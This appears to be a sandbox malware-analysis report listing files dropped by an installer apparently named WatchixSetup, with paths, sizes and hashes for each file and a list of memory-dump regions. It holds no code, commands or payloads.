MD5 0ad55ae01864df3767d7b61678bd326e
SHA1 ffedcc19095fd54f8619f00f55074f275ceddfd6
SHA512 aaee895d110d67e87ed1e8ed6557b060a0575f466a947a4f59cc9d111381e1af6aa54d432233716c78f146168d548a726fed1eab2b3f09bb71e0ae7f4fdc69e3
TLSH
T1BA2166A040AF079BD096AB3F94DCA88490BA84E30D2CBE68789C594C0FDD05E42FD2B1
MD5 SHA1 SHA512 TLSH

Submit Download

extract.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\deps\extract.js
Size 224B
SHA256 5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
MD5 f0a82a6a6043bf87899114337c67df6c
SHA1 a906c146eb0a359742ff85c1d96a095bd0dd95fd
SHA512 d26879f890226808d9bd2644c5ca85cc339760e86b330212505706e5749464fafad1cb5f018c59a8f034d68d327cd3fa5234ceac0677de1ac9ae09039f574240
TLSH
T13FD0A71002D514F489B0BF80E49F0B163DC781E33B026450DC8888512BD72A3608AD9F
MD5 SHA1 SHA512 TLSH

Submit Download

sqlite-autoconf-3440200.tar.gz

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\deps\sqlite-autoconf-3440200.tar.gz
Size 3.1MB
SHA256 1c6719a148bc41cf0f2bbbe3926d7ce3f5ca09d878f1246fcc20767b175bb407
MD5 c02f40fd4f809ced95096250adc5764a
SHA1 8398dd159f3a1fd8f1c5edf02c687512eaab69e4
SHA512 59ad55df15eb84430f5286db2e5ceddd6ca1fc207a6343546a365c0c1baf20258e96c53d2ad48b50385608d03de09a692ae834cb78a39d1a48cb36a05722e402
SSDEEP 49152:ZROqVtTXPm/3DfYnW3vYkidsYIzCD8BJXKU0UzHOu67Rs5q9CVxaPdWKAz:/mDsWfYkfO8JXZzHuW5qqx8h0
TLSH
T16DE533AE6B8BF96135E0B6FF236B0AD5003E5F87F2C4D1BB5C9694C181C4972252DAC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite3.gyp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\deps\sqlite3.gyp
Size 2KB
SHA256 8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
MD5 0e4d1d898d697ec33a9ad8a27f0483bf
SHA1 1505f707a17f35723cd268744c189d8df47bb3a3
SHA512 c530aba70e5555a27d547562d8b826b186540068af9b4ccd01483ec39f083a991ac11d0cc66f40acaa8b03d774080f227ee705a38995f356a14abe6e5f97b545
TLSH
T1F6518AB4057F451AE2DA1A3FE16E41806624E1A78E7E3D34348DA5881FEC0DD067A77D
MD5 SHA1 SHA512 TLSH

Submit Download

sqlite3-binding.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\lib\sqlite3-binding.js
Size 59B
SHA256 762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
MD5 8582b2dcaed9c5a6f3b7cfe150545254
SHA1 14667874e0bfbe4ffc951f3e4bec7c5cf44e5a81
SHA512 22ec4df7697322b23ae2e73c692ed5c925d50fde2b7e72bfc2d5dd873e2da51834b920dea7c67cca5733e8a3f5e603805762e8be238c651aa40290452843411d
TLSH
T1D1A002D1B590B39576E44054E5D486821C91C1E1A5535AA0C14986A51C4888055159A0
MD5 SHA1 SHA512 TLSH

Submit Download

sqlite3.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\lib\sqlite3.js
Size 6KB
SHA256 8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
MD5 275019a4199a84cfd18abd0f1ae497aa
SHA1 8601683f9b6206e525e4a087a7cca40d07828fd8
SHA512 6422249ccd710973f15d1242a8156d98fa8bdea820012df669e5363c50c5d8492d21ffefcdfa05b46c3c18033dde30f03349e880a4943feda8d1ee3c00f952b0
SSDEEP 192:QoM2Wd0WmO6pM+tPtVRhoh3hG/h1goWPQfAcCy7gPQbQwZQiR893+9dY:npM0I6aPkd/K
TLSH
T1A3D1514DEAE36434962F76E9861FA65930398547347C8A417D8EC3901FB5C2036ABFBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trace.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\lib\trace.js
Size 1KB
SHA256 d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
MD5 e5c2de3c74bc66d4906bb34591859a5f
SHA1 37ec527d9798d43898108080506126b4146334e7
SHA512 e250e53dae618929cbf3cb2f1084a105d3a78bdfb6bb29e290f63a1fd5fbb5b2fab934ad16bc285e245d749a90c84bdc72fdc1a77af912b7356c18b0b197fbe5
TLSH
T14421C18C5CD370A59B63F0AC636BA00C7579191330A4C590758CC350DFD1D6A87A3E9D
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\package.json
Size 1KB
SHA256 91008a93e604674024bd65569670af5b01f1e4caf86cde50835ee58f59a5dc61
MD5 174bf28fccd7fdb6f0766f31fac3060d
SHA1 655f465658957fbdf935fcb7df0b97c93807147b
SHA512 fa1be386a3d74767731aa5ad44ff4d89fb456e7feabde2a6e6f238ed4608a80962cadd6b7ff96f15e306a8e819221b66051fa5a7b0658ad52a2efb488492ff83
TLSH
T1C4116AA1C4344EB32AC935E9CC694186E12198838C687C1873EB815C8F1C56B20FE5AD
MD5 SHA1 SHA512 TLSH

Submit Download

async.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\async.h
Size 1KB
SHA256 cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
MD5 e8c5e5c02d87e6af4455ff2c59c3588b
SHA1 a0de928c621bb9a71ba9cf002e0f0726e4db7c0e
SHA512 ed96889e0d1d5263fb8fed7a4966905b9812c007fbb04b733cadbe84edc7179015b9967ff5f48816ff2c97acf4a5b4792a35cee1f8fce23e5fdc797f8ee0c762
TLSH
T1BA41E151A29A43AAE9F37B37827761903017D5730E2DDA42349D93C02F370A405E1676
MD5 SHA1 SHA512 TLSH

Submit Download

backup.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\backup.h
Size 6KB
SHA256 556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
MD5 29dd2fca11a4e0776c49140ecac95ce9
SHA1 837cfbc391c7faad304e745fc48ae9693afaf433
SHA512 5785667b9c49d4f4320022c98e0567a412b48a790c99569261c12b8738bde0b4949d3998e2b375540ede2ff1d861cad859780ade796b71d4d1d692e1ed449021
SSDEEP 192:jXmQS7rRLcxPsPVHXmIXYIyx15kPhw0Io:j2QS7rRLOPs5e0
TLSH
T1E9E1A46EE77301AA193351A2976313B05F2D540B2E3CD163BADF43E16F826CA1764DAC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

database.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\database.h
Size 5KB
SHA256 8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
MD5 de31ab62b7068aea6cffb22b54a435bb
SHA1 7fd98864c970caa9c60cfc4ce1e77d736b5b5231
SHA512 598491103564b024012da39ac31f54cf39f10da789cd5b17af44e93042d9526b9ffd4867112c5f9755cb4ada398bf5429f01dda6c1bbc5137bea545c3c88453b
SSDEEP 96:HWEP0L0TnYvyVH0GmPnsM8plenrnxiNn5hVB4KTRDpLzysrPrWr7xaqan4qi7lgj:vPivyVHfmPjrcN5h/4KVVr43lUZtX
TLSH
T1C5B152D96BF7A4515879B157CB9301306C26A0172F2CEAB0B89F83E41FD425962A5F38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gcc-preinclude.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\gcc-preinclude.h
Size 861B
SHA256 9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
MD5 55a9165c6720727b6ec6cb815b026deb
SHA1 e737e117bdefa5838834f342d2c51e8009011008
SHA512 79ed80377bfb576f695f271ed5200bb975f2546110267d264f0ab917f56c26abf6d3385878285fe3e378b254af99b59bdb8bbcab7427788c90a0460eb2ee5b77
TLSH
T14D1129A81F8AF43A06B9C7A9B0481042D59CBB771FDC4251262DECA7FC4396968BDC19
MD5 SHA1 SHA512 TLSH

Submit Download

macros.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\macros.h
Size 10KB
SHA256 c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
MD5 b60768ed9dd86a1116e3bcc95ff9387d
SHA1 c057a7eebba8ce61e27267930a8526ab54920aa3
SHA512 84e0670128f1d8712e703b6e4b684b904a8081886c9739c63b71962e5d465ac569b16cb0db74cb41dc015a64dcc1e3a9a20b0cf7f54d4320713cc0f49e0f7363
SSDEEP 192:SOxrBErYr4hnxlEPTZFkGdyrKL7h7K0d06I7SFcMWFtOj5Lk8wJfbZh720J0x7YY:95ZHdFvh+84DE5o8wJfbZhKUMFAUn
TLSH
T11F32534DAFA2344603A310394C7995609E195BF32834AD94F59C465CAFF52FE4CF86F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

statement.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\statement.h
Size 6KB
SHA256 605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
MD5 0b81c9be1dc0ff314182399cdc301aea
SHA1 7433b86711d132a4df826bae80e58801a3eb74c9
SHA512 9cf986538d048a48b9f020fc51f994f25168540db35bdb0314744fdec80a45ba99064bc35fe76b35918753c2886d4466fdd7e36b25838c6039f712e5ac7d81b3
SSDEEP 192:T2kHmSF3oPvmPVD6LjmbaXCYG4hqY21nyi6BF1pcDoF/+InO:1Gw4PvmlQjRNL21+BSDt
TLSH
T1BCE1624976B7818068F36167C71B11A17C27A0933B18CB95BEEF03E41F9186D97A8FB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

threading.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\src\threading.h
Size 388B
SHA256 e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
MD5 f2a075d3101c2bf109d94f8c65b4ecb5
SHA1 d48294aec0b7aeb03cf5d56a9912e704b9e90bf6
SHA512 d95b5fda6cb93874fe577439f7bd16b10eae37b70c45ae2bd914790c1e3ba70dfb6bda7be79d196f2c40837d98f1005c3ed209cab9ba346ada9ce2ed62a87f13
TLSH
T147E0ED682A55404FFAB1A724143B21E63457CEB31EBAC349A969D47865D788440F44FE
MD5 SHA1 SHA512 TLSH

Submit Download

app.protected.jsc

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\protected\app.protected.jsc
Size 3.1MB
SHA256 1e1d767104c9d7fdae726d6c5c1cd2b93d562cf719c20d1851b7665097374e6d
MD5 2637588ac2f4627faee5d2ea4f2e7f16
SHA1 4cba12979b414a759fe93bc1a494ba1de969ce96
SHA512 abe661e5a2f567255d9502fc9f2c2facd563e3c74bac16c4e88af58766217d09def2d9ea285b4fdd22c8008b7469e8f65bd8a747b91af0307dfea0ccb5467e98
SSDEEP 49152:q3BzpZSahAi98z1hAqhKLsWP0C7tftdRbww54/bZYb:e7QaGDDAcWP0C7tft/utM
TLSH
T127E54A43A35C55A7CA7E0BB240A3A59A7B7082593FC353872166C36D0C247EDEFC6C69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\elevate.exe
Size 105KB
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40
SSDEEP 3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
TLSH
T1EBB37C1274C0C471E5732A361974CAB14AADFD700E759FAF6398127A4FA01D09A3AFB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\snapshot_blob.bin
Size 333KB
SHA256 c6ea347fb4987014688f3b07ccf051ff21a81e30fa595aeb3e105cfb4ad27288
MD5 487e63d2c70176b9537f528e8b8d0b26
SHA1 25d992778359b4a67c93dd905c5d67b7cd8a7386
SHA512 0d02f1fac1245153c13026b3501008d2edcdab11436e54fcd1d4dc0d8c279b8e52e419ef4122893d75135d570bc275dd045cb7d1b7390b1ccba51a25618e4291
SSDEEP 3072:vOiXKKWOt+xbRt2FIRRzMod/5m+YPbHIYLyi7SIGMvkHAhm6tfsa:v5XXt+HlHFYPf7xlvXkisa
TLSH
T1DA74CE05F74ACB26C98A3A745DF983882E2071CD9D49B34B3549737E78BA2740D3A72D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\v8_context_snapshot.bin
Size 698KB
SHA256 ef9f068c5a1494a02acff29f7c7cdde1a2d10d4ac46ca15b735124e8b48ddace
MD5 14df63236be0e1572557b5674656d77c
SHA1 a68588d42238582b053ccb443f0d8ffd4d69d3fd
SHA512 855bfe650247fb7b79f9891aa00309d2864fbfde321063edd22267b6b11d59c2dcae58ff86ee4e5629ed73872983bae49933b6818ad522092aeb2631d7025ccd
SSDEEP 6144:m/V4XptgO5X8t+HlbFYPf7xR2Nyuuh1hDEkisIIdukchKYNcPK:m8D5Xv4fVR2NyikuIIv/H
TLSH
T1BBE4A7A1FB0A8F3AC5453BBD8DE647463A30B18E9E86E20B7405773D78B96704D3652C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\vk_swiftshader.dll
Size 5.4MB
SHA256 b200865044493fb316dc3d49bc23d559fbedae74c99f7b0cdc1ab8daeb31e4c5
MD5 a97c82cca88fedbb9145c4be0edea326
SHA1 369331b2653fe2918b1e8b4718cbc255c9cd2a75
SHA512 b2bbeff03f97d969e7951f7c55e4840d198530fbd39dfa21e2e76d59fd4fa7b485921d02087c4ca8e103a8057236906baa9ce0b63d3bab77751d22223ab1be7f
SSDEEP 49152:ZRZF8bmJ97oauOJZcdNwME/LE71roLHP3qfCsEnTQxkWIgPAvtkPt3MA+Iqr1kW:zb8bO3XG6zjvtQ4nTZ
TLSH
T128464903F28681E9C06DE579875FA623F631F8850B2276DF56A00F192E66FE0A73D714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\vulkan-1.dll
Size 930KB
SHA256 1bdcb5d3a2bad797dd3d35ffdf789be9fbcde24622853f9a112c7147f3d51a3e
MD5 64b82576f652306a2807a9e4c4845ac2
SHA1 57953e82c1f8e9963a3ba88ecb48889efa46f2a0
SHA512 f3a2285bac539a67c5daf7af5c5933a18cca62750950c4ef9b2da522bf5b6f1324864e5ea04dae064b09ba9020bec7eee09f9d1fa0e9e5a36134666f35208270
SSDEEP 24576:Lotus6ImeTMseD/XVKqYH66Z5WGc9DYsHQDb6g3P0zAk79oOHiY6F:0tus6RcMseDvgqYH66Z5WGc9DYsHQDbf
TLSH
T1A7158E12DA944AA9D67AC074D8D28A0789B074811322B9DF12F817147F6FFF47B3DB26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StdUtils.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\StdUtils.dll
Size 100KB
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803
SSDEEP 3072:WNuZmJ9TDP3ahD2TF7Rq9cJNPhF9vyHf:WNuZ81zaAFHhF9v
TLSH
T125A33B62A2FA9CF5E4E70B3D1469BB264CBB7B383431D93F2342054B8534586DA2D35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\System.dll
Size 12KB
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9
SSDEEP 192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
TLSH
T1BA428E12977049F2F1A0183C10A67F265FBEAE5C1BE445A39FE380867D652DF9436343
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UAC.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\UAC.dll
Size 14KB
SHA256 2f7f8fc05dc4fd0d5cda501b47e4433357e887bbfed7292c028d99c73b52dc08
MD5 adb29e6b186daa765dc750128649b63d
SHA1 160cbdc4cb0ac2c142d361df138c537aa7e708c9
SHA512 b28adcccf0c33660fecd6f95f28f11f793dc9988582187617b4c113fb4e6fdad4cf7694cd8c0300a477e63536456894d119741a940dda09b7df3ff0087a7eada
SSDEEP 192:DiF6v2imI36Op/tGZGfWxdyWHD0I53vLl7WVl8e04IpDlPjs:DGVY6ClGoWxXH75T1WVl83lLs
TLSH
T10F623AAA62E847BEE2221636B96723130BFDB5203DA1D01F4D531E596C30BE3953D61A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinShell.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\WinShell.dll
Size 3KB
SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
MD5 1cc7c37b7e0c8cd8bf04b6cc283e1e56
SHA1 0b9519763be6625bd5abce175dcc59c96d100d4c
SHA512 7acf7f8e68aa6066b59ca9f2ae2e67997e6b347bc08eb788d2a119b3295c844b5b9606757168e8d2fbd61c2cda367bf80e9e48c9a52c28d5a7a00464bfd2048f
TLSH
T16A51365F13BED7A4C3071738A6FBDC85749B440012C659558BB2172ABF141E0BB3CD08
MD5 SHA1 SHA512 TLSH

Submit Download

nsDialogs.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\nsDialogs.dll
Size 9KB
SHA256 1e40211af65923c2f4fd02ce021458a7745d28e2f383835e3015e96575632172
MD5 466179e1c8ee8a1ff5e4427dbb6c4a01
SHA1 eb607467009074278e4bd50c7eab400e95ae48f7
SHA512 7508a29c722d45297bfb090c8eb49bd1560ef7d4b35413f16a8aed62d3b1030a93d001a09de98c2b9fea9acf062dc99a7278786f4ece222e7436b261d14ca817
SSDEEP 192:olsHeylO012En8pqHtcE0PuAgkOyvIFc:oATI0d8pUP0WAgkBvIFc
TLSH
T1D0120892E6E450B3C5D6133F35AE2B2DCBBD5329B0922C0087738E4979795B66E38347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nsExec.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\nsExec.dll
Size 6KB
SHA256 5d9ceb1ce5f35aea5f9e5a0c0edeeec04dfefe0c77890c80c70e98209b58b962
MD5 ec0504e6b8a11d5aad43b296beeb84b2
SHA1 91b5ce085130c8c7194d66b2439ec9e1c206497c
SHA512 3f918f1b47e8a919cbe51eb17dc30acc8cfc18e743a1bae5b787d0db7d26038dc1210be98bf5ba3be8d6ed896dbbd7ac3d13e66454a98b2a38c7e69dad30bb57
SSDEEP 96:YjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNq3m+s:JbogRtJzTlNR8qD85uGgmkNr
TLSH
T173D109B836C20CF3D54E46743E22381713FEE4761B7502A18B976ED61D92AE2FE20781
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nsis7z.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\nsis7z.dll
Size 424KB
SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
MD5 80e44ce4895304c6a3a831310fbf8cd0
SHA1 36bd49ae21c460be5753a904b4501f1abca53508
SHA512 c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df
SSDEEP 6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
TLSH
T1E9949E22B6D2C036C56E02309918F77921AEB3B1592DDB1B73985B6F7FB44C19E24B07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sys_win_2523.png

Path C:\Users\Admin\AppData\Local\Temp\sys_win_2523.png
Size 493KB
SHA256 0c184a7d127774ba35a6f8e6a42ebba1f8c31e030b75eae71e87356954e20ec2
MD5 c1ece6d23e439cb5febb6c1e5c9c7064
SHA1 2f6a7bc0f7bf5b007920f4001208459b4aa9c74e
SHA512 5b644ec8e4e79edf0e3b46bbe9088553cf91a2b846ab967453c00376a12ac5370e3a85f0bd61a8bff4a42c7491ea05974fd61a6e30c20e0637bd4b92e9293847
SSDEEP 12288:/uJdskA85dt4kqaltnQACWjgocyD0FcuHnY6u46SO:/XJKibajnQVocglGxumO
TLSH
T150B4229AB4FCC618DCCF257A88598FC343A25677EEF209CC959AB44DA900E351394BC7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default.dic

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

12471823-4e26-48e1-9fee-de840d3713f3.tmp

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\12471823-4e26-48e1-9fee-de840d3713f3.tmp
Size 93B
SHA256 529b6595a4727a6b2d6cc154ae51f426216c01fc7fda02de2460abfb3de118a4
MD5 322f01bb491180333c338526d93f115a
SHA1 554d5e43d5e46774b8f2a6b3682243a289927754
SHA512 69f8e980f44b1465cee8c0485598fa00be163db0fe88598e45ab2f817f9bea36a2b70dbb9d25d5214174ea9c198b9641bb3d5a86c18b1a4ea4493c00e2e95eb2
TLSH
T103B01253B810A0324B1B09E5000BC94F2CBE00340E475A0510D4F39D492DD4D088702B
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\Code Cache\js\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 8bd7c297c30808d2f1fd7acd3ac862bdd1e79c1030acbc2ea22884da7abd6dfd
MD5 8c92ba43d3bc2e04bb04fcd652ee6c9e
SHA1 533f484f26faf9b99475c3326587684b6d0d1330
SHA512 0db4736d04aa036d5df1bee50bf5a3145bfd5c67fbc20abe88d2c9e61022477745e1e8f6cb0aad8ffc9b3e8272e4d579946eb25daa06886767b0d1443e55093c
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\Local State
Size 434B
SHA256 895c0d975174b3e13b7433b048ee98630fcada4e959279edabc2df8a8c245628
MD5 4ec7406f62cf31c7dc814b14900b73a8
SHA1 2c1271ebe5823a6099a3df832d99218c3b9e2fc6
SHA512 262e2157165e88c2e7e89c02d53af44114ca8b49da8df226d611554a5f9ced8a8507f731b586c85becfafd1606e21c29f9123708de87d5958e2f301b480c795d
TLSH
T103E0AB32BAB06AE5AA121B95021279160E8059B74C867F02E9DE010750FB992C748C22
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\Local State
Size 434B
SHA256 88ac19c849a62d77edcc0809da7e1ed06f9b7c45abced47df5f884f21b7e5a06
MD5 82566d5bf9c90ce4d1ed7a8c0ca56440
SHA1 69f7c009f229ce8670671bc94a69c8803b552e5e
SHA512 087b76735d10a33a4a7439d1316e1831b2f5f9f2cb69d28f800b39fc4336baf2ad4eb4a848358de0674c0de639d558319d4e412c4535735361dc60a8211e3113
TLSH
T1D3E081B2C3B07A2BBA305A0A0296FA215D38EF5B8EC1237C316E0007C0FE0C74309C26
MD5 SHA1 SHA512 TLSH

Submit Download

5b870c69-ed51-46d1-a42a-f94cd39dbdf5.tmp

Path C:\Users\Admin\AppData\Roaming\WatchixSetup\Network\5b870c69-ed51-46d1-a42a-f94cd39dbdf5.tmp
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
TLSH
T164A0026A99622D881B4A83902B18B547807B0445230982FDE43877A8415616D5C2C855
MD5 SHA1 SHA512 TLSH

Submit Download

memory/876-22-0x00000000043F0000-0x0000000004400000-memory.dmp

Download

memory/876-26-0x0000000004A60000-0x0000000004A82000-memory.dmp

Download

memory/876-25-0x0000000004AB0000-0x00000000050D8000-memory.dmp

Download

memory/876-52-0x0000000007360000-0x00000000079DA000-memory.dmp

Download

memory/876-53-0x0000000006D10000-0x0000000006D2A000-memory.dmp

Download

memory/876-42-0x00000000043F0000-0x0000000004400000-memory.dmp

Download

memory/876-41-0x0000000070350000-0x000000007039C000-memory.dmp

Download

memory/876-54-0x0000000006D80000-0x0000000006D8A000-memory.dmp

Download

memory/876-55-0x0000000006F00000-0x0000000006F2A000-memory.dmp

Download

memory/876-40-0x0000000006BA0000-0x0000000006BD2000-memory.dmp

Download

memory/876-56-0x0000000006F30000-0x0000000006F54000-memory.dmp

Download

memory/876-51-0x0000000006BE0000-0x0000000006C83000-memory.dmp

Download

memory/876-27-0x00000000052D0000-0x0000000005336000-memory.dmp

Download

memory/876-39-0x000000007EFF0000-0x000000007F000000-memory.dmp

Download

memory/876-50-0x0000000005F80000-0x0000000005F9E000-memory.dmp

Download

memory/876-28-0x0000000005340000-0x00000000053A6000-memory.dmp

Download

memory/876-36-0x00000000053B0000-0x0000000005704000-memory.dmp

Download

memory/876-37-0x00000000059D0000-0x00000000059EE000-memory.dmp

Download

memory/876-57-0x0000000070AD0000-0x0000000070E24000-memory.dmp

Download

memory/876-24-0x00000000043F0000-0x0000000004400000-memory.dmp

Download

memory/876-23-0x0000000004440000-0x0000000004476000-memory.dmp

Download

memory/876-38-0x0000000005A00000-0x0000000005A4C000-memory.dmp

Download

memory/1116-2031-0x0000026877E30000-0x0000026877F7E000-memory.dmp

Download

